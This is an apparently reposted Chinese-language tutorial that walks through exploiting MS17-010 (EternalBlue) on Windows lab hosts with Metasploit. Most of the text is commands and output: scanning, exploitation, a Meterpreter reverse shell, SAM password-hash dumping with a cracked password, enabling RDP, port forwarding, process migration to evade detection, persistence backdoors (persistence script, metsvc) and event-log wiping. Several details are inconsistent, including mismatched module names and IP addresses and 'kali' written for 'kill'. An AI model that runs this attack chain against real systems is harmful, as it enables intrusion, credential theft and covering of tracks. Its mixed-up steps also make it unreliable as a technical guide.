MS17-010遠程溢出漏洞(CVE-2017-0143)


描述

繼2016年 8 月份黑客組織 Shadow Brokers 放出第一批 NSA “方程式小組”內部黑客工具后,2017 年 4 月 14 日,Shadow Brokers 再次公布了一批新的 NSA 黑客工具,其中包含了一個攻擊框架和多個 Windows 漏洞利用工具。攻擊者利用這些漏洞可以遠程獲取 Windows 系統權限並植入后門。

針對此次泄露的漏洞,微軟提前發布了安全公告 MS17-010,修復了泄露的多個 SMB 遠程命令執行漏洞。由於此次泄露的漏洞覆蓋了大部分常見的 Windows 版本(包括微軟不再提供更新服務的 Windows XP 和 Windows Server 2003),網絡空間中仍然存在大量可被入侵的設備

永恆之藍漏洞是通過TCP端口445和139來利用SMBv1和NBT中的遠程代碼執行漏洞,惡意代碼會掃描開放445文件共享端口的Windows機器,無需用戶任何操作,只要開機上網,不法分子就能在電腦和服務器中植入勒索軟件、遠程控制木馬、虛擬貨幣挖礦機等惡意程序。

 

漏洞影響

Windows 版本包括但不限於:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

目前在Metasploit上集成的攻擊載荷是ms17_010_psexec和ms17_010_eternalblue

 

環境准備:

1.防火牆允許SMB流量進出

2.缺少MS17-010補丁

 

信息收集

 

nmap -sV --script=vuln -O 192.168.110.100

 

Host script results:
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|          
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
 

 

 

 

漏洞利用:

root@kali:~# msfconsole

 

確認漏洞

msf > search ms17-010 //在漏洞庫中搜索ms17-010的payload
[!] Module database cache not built yet, using slow search
 
Matching Modules
================
 
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

我們使用auxiliary輔助模塊中的ms17_010_command載荷去掃描確認目標系統是否真的有SMB服務的遠程代碼執行的漏洞

msf > use auxiliary/admin/smb/ms17_010_command    //使用該載荷
msf auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.135.136   //設置目標
rhosts => 192.168.135.136
msf auxiliary(admin/smb/ms17_010_command) > exploit  //進行攻擊
 
[*] 192.168.135.136:445   - Target OS: Windows Server 2003 3790 Service Pack 2
[*] 192.168.135.136:445   - Filling barrel with fish... done
[*] 192.168.135.136:445   - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.135.136:445   -     [*] Preparing dynamite...
[*] 192.168.135.136:445   -         Trying stick 1 (x64)...Miss
[*] 192.168.135.136:445   -         [*] Trying stick 2 (x86)...Boom!
[*] 192.168.135.136:445   -     [+] Successfully Leaked Transaction!
[*] 192.168.135.136:445   -     [+] Successfully caught Fish-in-a-barrel
[*] 192.168.135.136:445   - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.135.136:445   - Reading from CONNECTION struct at: 0x8fdf1cb0
[*] 192.168.135.136:445   - Built a write-what-where primitive...
[+] 192.168.135.136:445   - Overwrite complete... SYSTEM session obtained!
[+] 192.168.135.136:445   - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.135.136:445   - Output for "net group "Domain Admins" /domain":
ةĻ     Domain Admins
עˍ     ָ¶¨µœꝀ
 
³ʔ±
 
-------------------------------------------------------------------------------
Administrator           
﮳ɹ¦Ϊ³ɡ£
 
 
[+] 192.168.135.136:445   - Cleanup was successful
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Successful 而且目標為Administrator 權限

攻擊目標

msf auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_psexec
msf exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.110.100 //設置目標
rhost => 192.168.110.100
msf5 exploit(windows/smb/ms17_010_eternalblue) > run 

[*] Started reverse TCP handler on 192.168.110.100:4444 
[*] 192.168.110.128:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.110.128:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7600 x64 (64-bit)
[*] 192.168.110.128:445   - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.110.128:445 - Connecting to target for exploitation.
[+] 192.168.110.128:445 - Connection established for exploitation.
[+] 192.168.110.128:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.110.128:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.110.128:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70  Windows 7 Enterp
[*] 192.168.110.128:445 - 0x00000010  72 69 73 65 20 37 36 30 30                       rise 7600       
[+] 192.168.110.128:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.110.128:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.110.128:445 - Sending all but last fragment of exploit packet
[*] 192.168.110.128:445 - Starting non-paged pool grooming
[+] 192.168.110.128:445 - Sending SMBv2 buffers
[+] 192.168.110.128:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.110.128:445 - Sending final SMBv2 buffers.
[*] 192.168.110.128:445 - Sending last fragment of exploit packet!
[*] 192.168.110.128:445 - Receiving response from exploit packet
[+] 192.168.110.128:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.110.128:445 - Sending egg to corrupted connection.
[*] 192.168.110.128:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.110.128
[*] Meterpreter session 1 opened (192.168.110.100:4444 -> 192.168.110.128:49455) at 2020-03-31 16:25:08 +0800
[+] 192.168.110.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.110.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.110.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > 

成功

后滲透階段

先介紹一下Meterpreter:

Meterpreter是Metasploit框架中的一個擴展模塊,作為溢出成功以后的攻擊載荷使用,攻擊載荷在溢出攻擊成功以后給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpretershell的鏈接。Meterpretershell作為滲透模塊有很多有用的功能,比如添加一個用戶、隱藏一些東西、打開shell、得到用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、得到遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網絡接口和IP地址等信息。另外Meterpreter能夠躲避入侵檢測系統。在遠程主機上隱藏自己,它不改變系統硬盤中的文件,因此HIDS[基於主機的入侵檢測系統]很難對它做出響應。此外它在運行的時候系統時間是變化的,所以跟蹤它或者終止它對於一個有經驗的人也會變得非常困難。最后,Meterpreter還可以簡化任務創建多個會話。可以來利用這些會話進行滲透。

在后滲透階段我們將使用Meterpreter進行攻擊

meterpreter > help        //輸入help命令可以查看在meterpreter模塊下執行的命令
meterpreter > sysinfo      //查看系統信息
Computer        : MYCOMPUTER
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : zh_CN
Domain          : LOUISNIE
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > getsystem   //提升到system權限
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
 
meterpreter > hashdump  //導出SAM數據庫的內容
Administrator:500:570ce399da1412abaad3b435b51404ee:b9d2d4955b330b503cc792eb6a55bb1f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:98e07fb45acadfe5febbf70690d16ae0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:18861c2baa27b5a9100c04acbbfa47d9:::
IUSR_MYCOMPUTER:1108:e2e508b31b1336d2c996f97338db8790:03320631cb387004f82daec52f03935f:::
IWAM_MYCOMPUTER:1109:fc512ee6de7b912f77747be12787d540:0f8f47aec1c4bc8897a81bce48cc20da:::
MYCOMPUTER$:1005:aad3b435b51404eeaad3b435b51404ee:979f58fb772361956a63f2bc34036a09:::

 

SAM簡介:

SAM是windows系統的一個系統用戶賬號管理文件。其全稱為security account manager。Windows中對用戶賬戶的安全管理使用了安全賬號管理器SAM(security account manager)的機制,安全賬號管理器對賬號的管理是通過安全標識進行的,安全標識在賬號創建時就同時創建,一旦賬號被刪除,安全標識也同時被刪除。安全標識是唯一的,即使是相同的用戶名,在每次創建時獲得的安全標識都時完全不同的。因此,一旦某個賬號被刪除,它的安全標識就不再存在了,即使用相同的用戶名重建賬號,也會被賦予不同的安全標識,不會保留原來的權限。

其文件位置:C:\windows\system32\config\SAM

其格式是 用戶名稱:RID:LM-HASH值:NT-HASH:::

在Windows系統下,有兩大hash,分別是LM HASH&NT HASH

對於NT HASH,我們直接可以在cmd5網站進行解密,解密Administrator用戶密碼為redhat

msf exploit(windows/smb/ms17_010_psexec) >run post/windows/manage/enable_rdp //打開目標服務器的遠程連接
 
msf exploit(windows/smb/ms17_010_psexec) >exploit
meterpreter > portfwd add -l 2222 -r 192.168.135.136 -p 3389  //反彈目標的3389端口到本地的2222端口並監聽該端口
[*] Local TCP relay created: :2222 <-> 192.168.135.136:3389
meterpreter > portfwd    //查看是否反彈成功
 
Active Port Forwards
====================
 
   Index  Local         Remote                Direction
   -----  -----         ------                ---------
   1      0.0.0.0:2222  192.168.135.136:3389  Forward
 
1 total active port forwards.
 
root@kali:~# netstat -an | grep "2222"  //我們在kali查看2222端口是在監聽狀態
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN    
root@kali:~# rdesktop 127.0.0.1:2222 //連接本地的2222端口反彈到目標的3389端口,即打開目標的桌面
 
meterpreter > ps  //查看系統進程
 
Process List
============
 
 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 0     0     [System Process]                                               
 4     0     System             x86   0        NT AUTHORITY\SYSTEM          
 240   2792  mstsc.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mstsc.exe
 264   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 292   808   explorer.exe       x86   0        LOUISNIE\Administrator        C:\WINDOWS\Explorer.EXE
 312   264   csrss.exe          x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\csrss.exe
 336   264   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\winlogon.exe
 384   336   services.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\services.exe
 396   336   lsass.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\lsass.exe
 452   1744  wuauclt.exe        x86   2        LOUISNIE\Administrator        C:\WINDOWS\system32\wuauclt.exe
 588   384   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM
 
meterpreter > migrate 292 //將該會話和系統進程綁定,免殺.格式是:migrate PID
 
meterpreter > execute -H -i -f cmd.exe //創建新進程cmd.exe,-H不可見,-i交互 -f用系統命令去執行
 
meterpreter > kali 1569  //殺死進程,格式是:kali PID

植入后門,維持控制

msf exploit(windows/smb/ms17_010_psexec) > sessions  -i 2  //開啟第二個會話
[*] Starting interaction with 2...
 
meterpreter > run persistence - X -i 5 -p 4445 -r 192.168.135.136 //運行后門程序,-X指定啟動的方式為開機自啟動,-i反向連接的時間間隔
 
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/MYCOMPUTER_20190219.3953/MYCOMPUTER_20190219.3953.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.135.136 LPORT=4445
[*] Persistent agent script is 99670 bytes long
 
meterpreter > background
[*] Backgrounding session 2...
msf exploit(windows/smb/ms17_010_psexec) > back
msf > use exploit/multi/handler    //使用exploit/multi/handler監聽連入的backdoor
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp  //設置載荷
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.135.134  //設置將反彈到本地來
lhost => 192.168.135.134
msf exploit(multi/handler) > exploit
 
[*] Started reverse TCP handler on 192.168.135.134:4444
[*] Sending stage (179779 bytes) to 192.168.135.136
[*] Sleeping before handling stage...
[*] Meterpreter session 3 opened (192.168.135.134:4444 -> 192.168.135.136:2364) at 2019-02-19 21:42:12 +0800
[*] Sending stage (179779 bytes) to 192.168.135.136
[*] Sleeping before handling stage...
[*] Meterpreter session 4 opened (192.168.135.1

或者可以使用metsvc模塊來留下后門

metsvc后滲透攻擊模塊其實就是將Meterpreter以系統服務的形式安裝到目標主機,它會上傳三個文件:

  • metsvc.dll

  • metsvc-service.exe

  • metsvc.exe

    msf exploit(multi/handler) > sessions -i 2 //選擇一個會話
    meterpreter > run metsvc //運行metsvc

     

    清除日志:

    meterpreter > clearev
    [*] Wiping 1 records from Application...
    [*] Wiping 26 records from System...
    [*] Wiping 2281 records from Security..

     


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM